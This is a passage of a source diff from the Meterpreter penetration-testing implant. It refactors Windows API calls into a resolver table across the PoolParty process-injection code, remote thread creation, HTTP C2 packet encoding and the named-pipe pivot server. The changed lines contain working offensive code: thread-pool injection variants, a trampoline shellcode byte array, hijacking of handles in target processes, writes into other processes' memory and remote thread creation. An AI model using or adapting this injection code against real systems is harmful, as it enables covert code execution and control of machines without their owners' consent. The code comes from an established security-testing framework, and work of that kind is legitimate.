+ if (!pNtDll) { + return NULL; + } - if (bError) { - HeapFree(hHeap, 0, pNtDll); - pNtDll = NULL; + if (poolLifeguard != NULL) { + poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isSystemSupported = TRUE; + poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].isSystemSupported = TRUE; } return pNtDll; } POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationArch) { BOOL bError = FALSE; - HANDLE hHeap = GetProcessHeap(); + HANDLE hHeap = met_api->win_api.kernel32.GetProcessHeap(); bError = (hHeap == NULL); do { if (poolLifeguard != NULL) { break; } - poolLifeguard = (POOLPARTY_INJECTOR*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(POOLPARTY_INJECTOR)); + poolLifeguard = (POOLPARTY_INJECTOR*)met_api->win_api.kernel32.HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(POOLPARTY_INJECTOR)); if (!poolLifeguard) { break; } @@ -132,7 +72,7 @@ POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationAr } while (0); if (bError && poolLifeguard != NULL) { - HeapFree(hHeap, 0, poolLifeguard); + met_api->win_api.kernel32.HeapFree(hHeap, 0, poolLifeguard); poolLifeguard = NULL; } return poolLifeguard; @@ -146,53 +86,36 @@ POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationAr // wow64 -> x64 (tp_direct_insertion) BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch) { - // Allocate OSVERSIONINFOEXW structure OSVERSIONINFOEXW os = {0}; os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); - - // Get RtlGetVersion function pointer - HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); - if (hNtdll == NULL) { - dprintf("[INJECT][supports_poolparty_injection] Failed to get ntdll.dll handle"); - return FALSE; - } - - typedef NTSTATUS (WINAPI *RtlGetVersionPtr)(PRTL_OSVERSIONINFOEXW); - RtlGetVersionPtr pRtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hNtdll, "RtlGetVersion"); - - if (pRtlGetVersion == NULL) { - dprintf("[INJECT][supports_poolparty_injection] Failed to get RtlGetVersion address"); - return FALSE; - } - - // Call RtlGetVersion - NTSTATUS status = pRtlGetVersion((PRTL_OSVERSIONINFOEXW)&os); + + NTSTATUS status = met_api->win_api.ntdll.RtlGetVersion((PRTL_OSVERSIONINFOEXW)&os); if (status != STATUS_SUCCESS) { dprintf("[INJECT][supports_poolparty_injection] RtlGetVersion failed with status: 0x%x", status); return FALSE; } - + dprintf("[INJECT][supports_poolparty_injection] dwSourceArch: %d dwDestinationArch: %d", dwSourceArch, dwDestinationArch); - dprintf("[INJECT][supports_poolparty_injection] OS Version: %d.%d Build: %d", + dprintf("[INJECT][supports_poolparty_injection] OS Version: %d.%d Build: %d", os.dwMajorVersion, os.dwMinorVersion, os.dwBuildNumber); - + // Check if Windows 10 or greater (major version >= 10) if (os.dwMajorVersion < 10) { dprintf("[INJECT][supports_poolparty_injection] OS version is less than Windows 10"); return FALSE; } - + // Check architecture compatibility if (dwDestinationArch == PROCESS_ARCH_X64 && (dwSourceArch == PROCESS_ARCH_X64 || dwSourceArch == PROCESS_ARCH_X86)) { return TRUE; // tp_direct_insertion } - + BOOL bIsWow64 = FALSE; - BOOL bResult = IsWow64Process(GetCurrentProcess(), &bIsWow64); + BOOL bResult = met_api->win_api.kernel32.IsWow64Process(GetCurrentProcess(), &bIsWow64); if (dwDestinationArch == PROCESS_ARCH_X86 && dwSourceArch == PROCESS_ARCH_X86 && !bIsWow64 && bResult != 0) { return TRUE; } - + return FALSE; } @@ -201,7 +124,7 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) DWORD dwInformationSizeIn = 2048; DWORD dwInformationSizeOut = 0; HANDLE hCurrProcess = GetCurrentProcess(); - HANDLE hHeap = GetProcessHeap(); + HANDLE hHeap = met_api->win_api.kernel32.GetProcessHeap(); PPROCESS_HANDLE_SNAPSHOT_INFORMATION lpProcessInfo = NULL; PPUBLIC_OBJECT_TYPE_INFORMATION lpObjectInfo = NULL; DWORD ntStatus = -1; @@ -210,19 +133,19 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) dprintf("[INJECT][inject_via_poolparty][get_remote_handle] GetOrInitNtDll() returned NULL"); return INVALID_HANDLE_VALUE; } - lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); + lpProcessInfo = met_api->win_api.kernel32.HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); if (lpProcessInfo == NULL) { dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapAlloc() for lpProcessInfo returned NULL"); return INVALID_HANDLE_VALUE; } dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo); while (ntStatus != STATUS_SUCCESS) { - ntStatus = pNtDll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut); - dprintf("[INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : %p", ntStatus); + ntStatus = met_api->win_api.ntdll.ZwQueryInformationProcess(hProcess, (INT)ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] ZwQueryInformationProcess() : %p", ntStatus); if (ntStatus == STATUS_INFO_LENGTH_MISMATCH && dwInformationSizeIn != dwInformationSizeOut) { - lpProcessInfo = HeapReAlloc(hHeap, 0, lpProcessInfo, dwInformationSizeOut); + lpProcessInfo = met_api->win_api.kernel32.HeapReAlloc(hHeap, 0, lpProcessInfo, dwInformationSizeOut); if (lpProcessInfo == NULL) { - dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc() for lpProcessInfo returned NULL"); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] met_api->win_api.kernel32.HeapReAlloc() for lpProcessInfo returned NULL"); return INVALID_HANDLE_VALUE; } dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc lpProcessInfo: %p", lpProcessInfo); @@ -230,14 +153,14 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) continue; } if (ntStatus != STATUS_SUCCESS && ntStatus != STATUS_INFO_LENGTH_MISMATCH) { - HeapFree(hHeap, 0, lpProcessInfo); + met_api->win_api.kernel32.HeapFree(hHeap, 0, lpProcessInfo); return INVALID_HANDLE_VALUE; } } dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p dwInformationSizeIn: %d", lpProcessInfo, dwInformationSizeIn); dwInformationSizeIn = 2048; dwInformationSizeOut = 0; - lpObjectInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); + lpObjectInfo = met_api->win_api.kernel32.HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn); if (lpObjectInfo == NULL) { dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapAlloc for lpObjectInfo returned NULL"); return INVALID_HANDLE_VALUE; @@ -245,22 +168,22 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpObjectInfo: %p", lpObjectInfo); for (ULONG i = 0; i < lpProcessInfo->NumberOfHandles; i++) { if (met_api->win_api.kernel32.DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, dwDesiredAccess, FALSE, 0)) { - ntStatus = pNtDll->pNtQueryObject(hHijackHandle, ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut); - dprintf("[INJECT][inject_via_poolparty][get_remote_handle] pNtQueryObject result: %p", ntStatus); + ntStatus = met_api->win_api.ntdll.ZwQueryObject(hHijackHandle, (INT)ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut); + dprintf("[INJECT][inject_via_poolparty][get_remote_handle] ZwQueryObject result: %p", ntStatus); if (dwInformationSizeIn >= dwInformationSizeOut) { - if (lstrcmpW(typeName, lpObjectInfo->TypeName.Buffer) == 0) { + if (met_api->win_api.kernel32.lstrcmpW(typeName, lpObjectInfo->TypeName.Buffer) == 0) { break; } } else { - lpObjectInfo = HeapReAlloc(hHeap, 0, lpObjectInfo, dwInformationSizeOut); + lpObjectInfo = met_api->win_api.kernel32.HeapReAlloc(hHeap, 0, lpObjectInfo, dwInformationSizeOut); if (lpObjectInfo == NULL) { dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc for lpObjectInfo returned NULL"); break; } dwInformationSizeIn = dwInformationSizeOut; dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc for lpObjectInfo at %p with size %d", lpObjectInfo, dwInformationSizeIn); - pNtDll->pNtQueryObject(hHijackHandle, ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut); // get the whole context this time... - if (lstrcmpW(typeName, lpObjectInfo->TypeName.Buffer) == 0) { + met_api->win_api.ntdll.ZwQueryObject(hHijackHandle, (INT)ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut); // get the whole context this time... + if (met_api->win_api.kernel32.lstrcmpW(typeName, lpObjectInfo->TypeName.Buffer) == 0) { break; } } @@ -269,10 +192,10 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) hHijackHandle = INVALID_HANDLE_VALUE; } if (lpObjectInfo != NULL) { - HeapFree(hHeap, 0, lpObjectInfo); + met_api->win_api.kernel32.HeapFree(hHeap, 0, lpObjectInfo); } if (lpProcessInfo != NULL) { - HeapFree(hHeap, 0, lpProcessInfo); + met_api->win_api.kernel32.HeapFree(hHeap, 0, lpProcessInfo); } dprintf("[INJECT][inject_via_poolparty][get_remote_handle] hHijackHandle: %p", hHijackHandle); return hHijackHandle; @@ -284,7 +207,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI ULONG dwInformationSizeIn = 1; ULONG dwInformationSizeOut = 0; DWORD dwResult = ERROR_INVALID_FUNCTION; - HANDLE hHeap = GetProcessHeap(); + HANDLE hHeap = met_api->win_api.kernel32.GetProcessHeap(); LPVOID* lpDirect = NULL; do { @@ -298,7 +221,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI if (!poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isInjectionSupported) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_NOT_SUPPORTED) } - lpDirect = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, TP_DIRECT_STRUCT_SIZE_X64); + lpDirect = met_api->win_api.kernel32.HeapAlloc(hHeap, HEAP_ZERO_MEMORY, TP_DIRECT_STRUCT_SIZE_X64); if (lpDirect == NULL) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_OUTOFMEMORY) } @@ -317,7 +240,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, RemoteDirectAddress, lpDirect, TP_DIRECT_STRUCT_SIZE_X64, NULL)) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_NOT_SUPPORTED) } - dwResult = pNtDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0); + dwResult = met_api->win_api.ntdll.ZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0); dprintf("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion: %d", dwResult); if (dwResult != 0) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion failed.", ERROR_NOT_SUPPORTED); @@ -325,7 +248,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI } } while (0); if (lpDirect != NULL) { - HeapFree(hHeap, 0, lpDirect); + met_api->win_api.kernel32.HeapFree(hHeap, 0, lpDirect); } return dwResult; } @@ -335,7 +258,7 @@ DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinatio unsigned char trampoline_poolparty[] = {0xeb, 0x03, 0x58, 0xff, 0x10, 0xe8, 0xf8, 0xff, 0xff, 0xff}; DWORD dwStubSize = sizeof(trampoline_poolparty) + sizeof(LPVOID); WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryBasicInfo = {0}; - HANDLE hHeap = GetProcessHeap(); + HANDLE hHeap = met_api->win_api.kernel32.GetProcessHeap(); unsigned char* lpStub = NULL; unsigned char* lpOriginalBytes = NULL; @@ -350,7 +273,7 @@ DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinatio if (hHeap == NULL) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Can't obtain process heap.", ERROR_NOT_SUPPORTED); } - lpStub = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwStubSize); + lpStub = (unsigned char*)met_api->win_api.kernel32.HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwStubSize); if (lpStub == NULL) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Can't allocate shellcode.", ERROR_NOT_SUPPORTED); } @@ -359,10 +282,10 @@ DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinatio BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Couldn't find TpWorkerFactory object in the target process or couldn't duplicate the found TpWorkerFactory object", ERROR_NOT_SUPPORTED); } ULONG ReturnLength = 0; - dwResult = pNtDll->pNtQueryInformationWorkerFactory(hDuplicatedHandle, WorkerFactoryBasicInformation, &WorkerFactoryBasicInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), &ReturnLength); - dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] NtQueryInformationWorkerFactory returned 0x%x && ReturnLength = %lu", dwResult, ReturnLength); + dwResult = met_api->win_api.ntdll.ZwQueryInformationWorkerFactory(hDuplicatedHandle, (INT)WorkerFactoryBasicInformation, &WorkerFactoryBasicInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), &ReturnLength); + dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] ZwQueryInformationWorkerFactory returned 0x%x && ReturnLength = %lu", dwResult, ReturnLength); if (dwResult != STATUS_SUCCESS || ReturnLength > sizeof(WORKER_FACTORY_BASIC_INFORMATION) || WorkerFactoryBasicInfo.StartRoutine == NULL) { - BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] NtQueryInformationWorkerFactory failed.", ERROR_NOT_SUPPORTED); + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] ZwQueryInformationWorkerFactory failed.", ERROR_NOT_SUPPORTED); } if (lpStub == NULL) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] lpStub is NULL", ERROR_NOT_SUPPORTED); @@ -386,7 +309,7 @@ DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinatio uintptr_t StubAddress = (uintptr_t)lpStartAddress; memcpy(lpStub, &trampoline_poolparty, sizeof(trampoline_poolparty)); memcpy(lpStub + 10, &StubAddress, sizeof(StubAddress)); - lpOriginalBytes = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwStubSize); + lpOriginalBytes = (unsigned char*)met_api->win_api.kernel32.HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwStubSize); if (lpOriginalBytes == NULL) { BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] OriginalBytes is NULL", ERROR_NOT_SUPPORTED); } @@ -402,18 +325,18 @@ DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinatio WorkerFactoryBasicInfo.ThreadMinimum = WorkerFactoryBasicInfo.TotalWorkerCount + 1; // Set the thread count to the actual workers count plus one. dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Setting WorkerFactoryThreadMinimum to %d", WorkerFactoryBasicInfo.ThreadMinimum); - dwResult = pNtDll->pNtSetInformationWorkerFactory(hDuplicatedHandle, WorkerFactoryThreadMinimum, &WorkerFactoryBasicInfo.ThreadMinimum, sizeof(ULONG)); - dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] NtSetInformationWorkerFactory returned 0x%x", dwResult); + dwResult = met_api->win_api.ntdll.ZwSetInformationWorkerFactory(hDuplicatedHandle, (INT)WorkerFactoryThreadMinimum, &WorkerFactoryBasicInfo.ThreadMinimum, sizeof(ULONG)); + dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] ZwSetInformationWorkerFactory returned 0x%x", dwResult); if (dwResult != STATUS_SUCCESS) { - BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] NtSetInformationWorkerFactory failed.", ERROR_NOT_SUPPORTED); + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] ZwSetInformationWorkerFactory failed.", ERROR_NOT_SUPPORTED); } - Sleep(1000); + met_api->win_api.kernel32.Sleep(1000); - dwResult = pNtDll->pNtQueryInformationWorkerFactory(hDuplicatedHandle, WorkerFactoryBasicInformation, &WorkerFactoryBasicInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), &ReturnLength); - dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] NtQueryInformationWorkerFactory returned 0x%x && ReturnLength = %lu", dwResult, ReturnLength); + dwResult = met_api->win_api.ntdll.ZwQueryInformationWorkerFactory(hDuplicatedHandle, (INT)WorkerFactoryBasicInformation, &WorkerFactoryBasicInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), &ReturnLength); + dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] ZwQueryInformationWorkerFactory returned 0x%x && ReturnLength = %lu", dwResult, ReturnLength); if (dwResult != STATUS_SUCCESS || ReturnLength > sizeof(WORKER_FACTORY_BASIC_INFORMATION) || WorkerFactoryBasicInfo.StartRoutine == NULL) { - BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] NtQueryInformationWorkerFactory failed.", ERROR_NOT_SUPPORTED); + BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] ZwQueryInformationWorkerFactory failed.", ERROR_NOT_SUPPORTED); } // Dump WorkerFactory @@ -431,9 +354,9 @@ DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinatio BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] WriteProcessMemory failed, couldn't restore the original bytes.", ERROR_NOT_SUPPORTED); } WorkerFactoryBasicInfo.ThreadMinimum = uThreadMinimum; - dwResult = pNtDll->pNtSetInformationWorkerFactory(hDuplicatedHandle, WorkerFactoryThreadMinimum, &WorkerFactoryBasicInfo.ThreadMinimum, sizeof(ULONG)); + dwResult = met_api->win_api.ntdll.ZwSetInformationWorkerFactory(hDuplicatedHandle, (INT)WorkerFactoryThreadMinimum, &WorkerFactoryBasicInfo.ThreadMinimum, sizeof(ULONG)); if (dwResult != STATUS_SUCCESS) { - dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] NtSetInformationWorkerFactory for restoring ThreadMinimum returned 0x%x", dwResult); + dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] ZwSetInformationWorkerFactory for restoring ThreadMinimum returned 0x%x", dwResult); dwResult = STATUS_SUCCESS; // Resetting the status to success. } if (WorkerFactoryBasicInfo.PendingWorkerCount != 1) { @@ -441,10 +364,10 @@ DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinatio } } while (0); if (hHeap != NULL && lpStub != NULL) { - HeapFree(hHeap, 0, lpStub); + met_api->win_api.kernel32.HeapFree(hHeap, 0, lpStub); } if (hHeap != NULL && lpOriginalBytes != NULL) { - HeapFree(hHeap, 0, lpOriginalBytes); + met_api->win_api.kernel32.HeapFree(hHeap, 0, lpOriginalBytes); } return dwResult; } diff --git a/c/meterpreter/source/metsrv/remote_thread.c b/c/meterpreter/source/metsrv/remote_thread.c index cb3277987..d96def808 100644 --- a/c/meterpreter/source/metsrv/remote_thread.c +++ b/c/meterpreter/source/metsrv/remote_thread.c @@ -8,13 +8,6 @@ typedef struct _MIMI_CLIENT_ID { PVOID UniqueThread; } CLIENTID; -/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */ -typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*); -/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */ -static PRtlCreateUserThread pRtlCreateUserThread = NULL; -/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */ -static BOOL pRtlCreateUserThreadAttempted = FALSE; - /*! * @brief Helper function for creating a remote thread in a privileged process. * @param hProcess Handle to the target process. @@ -56,38 +49,14 @@ HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAd dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options"); hThread = NULL; - // Only attempt to load the function pointer if we haven't attempted it already. - if (!pRtlCreateUserThreadAttempted) - { - if (pRtlCreateUserThread == NULL) - { - pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"); - if (pRtlCreateUserThread) - { - dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread); - } - } - pRtlCreateUserThreadAttempted = TRUE; - } - - // if at this point we don't have a valid pointer, it means that we don't have this function available - // on the current OS - if (pRtlCreateUserThread) - { - dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread"); - bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED; - ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, &ClientId); - SetLastError(ntResult); + dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread"); + bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED; + ntResult = met_api->win_api.ntdll.RtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PVOID)pvStartAddress, pvStartParam, &hThread, &ClientId); + SetLastError(ntResult); - if (ntResult == 0 && pdwThreadId) - { - *pdwThreadId = PtrToUint(ClientId.UniqueThread); - } - } - else + if (ntResult == 0 && pdwThreadId) { - // restore the previous error so that it looks like we haven't done anything else - SetLastError(ERROR_NOT_ENOUGH_MEMORY); + *pdwThreadId = PtrToUint(ClientId.UniqueThread); } } diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c index 19dc1938b..a0ad9040b 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.c +++ b/c/meterpreter/source/metsrv/server_http_utils.c @@ -99,12 +99,12 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD decodeInput = convertedBuf; } - if (CryptStringToBinaryA(decodeInput, decodeInputLen, CRYPT_STRING_BASE64, NULL, dataLen, NULL, NULL)) + if (met_api->win_api.crypt32.CryptStringToBinaryA(decodeInput, decodeInputLen, CRYPT_STRING_BASE64, NULL, dataLen, NULL, NULL)) { LPBYTE decoded = (LPBYTE)calloc(sizeof(BYTE), *dataLen + 1); if (decoded != NULL) { - if (CryptStringToBinaryA(decodeInput, decodeInputLen, CRYPT_STRING_BASE64, decoded, dataLen, NULL, NULL)) + if (met_api->win_api.crypt32.CryptStringToBinaryA(decodeInput, decodeInputLen, CRYPT_STRING_BASE64, decoded, dataLen, NULL, NULL)) { result = TRUE; *data = decoded; @@ -167,7 +167,7 @@ static LPBYTE c2_encode_buf(LPBYTE data, DWORD dataLen, UINT enc, LPDWORD outLen } DWORD flags = CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF; - if (!CryptBinaryToStringA(data, dataLen, flags, NULL, outLen)) + if (!met_api->win_api.crypt32.CryptBinaryToStringA(data, dataLen, flags, NULL, outLen)) { return NULL; } @@ -178,7 +178,7 @@ static LPBYTE c2_encode_buf(LPBYTE data, DWORD dataLen, UINT enc, LPDWORD outLen return NULL; } - if (!CryptBinaryToStringA(data, dataLen, flags, encoded, outLen)) + if (!met_api->win_api.crypt32.CryptBinaryToStringA(data, dataLen, flags, encoded, outLen)) { free(encoded); return NULL; diff --git a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c index 4c1f54780..d5f8982f7 100644 --- a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c @@ -41,27 +41,7 @@ static VOID free_server_context(NamedPipeContext* ctx); typedef BOOL (WINAPI *PAddMandatoryAce)(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid); static BOOL WINAPI AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid) { - static BOOL attempted = FALSE; - static PAddMandatoryAce pAddMandatoryAce = NULL; - - if (attempted) - { - attempted = TRUE; - - HMODULE lib = met_api->win_api.kernel32.LoadLibraryA("advapi32.dll"); - if (lib != NULL) - { - pAddMandatoryAce = (PAddMandatoryAce)GetProcAddress(lib, "AddMandatoryAce"); - dprintf("[NP-SERVER] AddMandatoryAce: %p", pAddMandatoryAce); - } - } - - if (pAddMandatoryAce != NULL) - { - pAddMandatoryAce(pAcl, dwAceRevision, dwAceFlags, dwMandatoryPolicy, pLabelSid); - } - - return TRUE; + return met_api->win_api.advapi32.AddMandatoryAce(pAcl, dwAceRevision, dwAceFlags, dwMandatoryPolicy, pLabelSid); } static DWORD server_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadContext) @@ -132,7 +112,7 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou dprintf("[PIVOT] Packet header after XOR: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); #endif - ctx->packet_required_size = ntohl(header->length) + sizeof(PacketHeader) - sizeof(TlvHeader); + ctx->packet_required_size = met_api->win_api.ws2_32.ntohl(header->length) + sizeof(PacketHeader) - sizeof(TlvHeader); xor_bytes(header->xor_key, (LPBYTE)&header->length, sizeof(header->length)); dprintf("[PIVOT] Required size is %u bytes", ctx->packet_required_size); } @@ -154,7 +134,7 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou Packet* packet = (Packet*)calloc(1, sizeof(Packet)); packet->header.length = header->length; packet->header.type = header->type; - packet->payloadLength = ntohl(packet->header.length) - sizeof(TlvHeader); + packet->payloadLength = met_api->win_api.ws2_32.ntohl(packet->header.length) - sizeof(TlvHeader); packet->payload = ctx->packet_buffer + sizeof(PacketHeader); CHAR* requestId = packet_get_tlv_value_string(packet, TLV_TYPE_REQUEST_ID); @@ -194,9 +174,9 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou met_api->win_api.rpcrt4.UuidCreate(&ctx->pivot_session_guid); // swizzle the values around so that endianness isn't an issue before casting to a block of bytes - ctx->pivot_session_guid.Data1 = htonl(ctx->pivot_session_guid.Data1); - ctx->pivot_session_guid.Data2 = htons(ctx->pivot_session_guid.Data2); - ctx->pivot_session_guid.Data3 = htons(ctx->pivot_session_guid.Data3); + ctx->pivot_session_guid.Data1 = met_api->win_api.ws2_32.htonl(ctx->pivot_session_guid.Data1); + ctx->pivot_session_guid.Data2 = met_api->win_api.ws2_32.htons(ctx->pivot_session_guid.Data2); + ctx->pivot_session_guid.Data3 = met_api->win_api.ws2_32.htons(ctx->pivot_session_guid.Data3); } ctx->session_established = TRUE; @@ -288,7 +268,7 @@ VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa) // Start with the DACL (perhaps try the NULL sid if it doesn't work?) 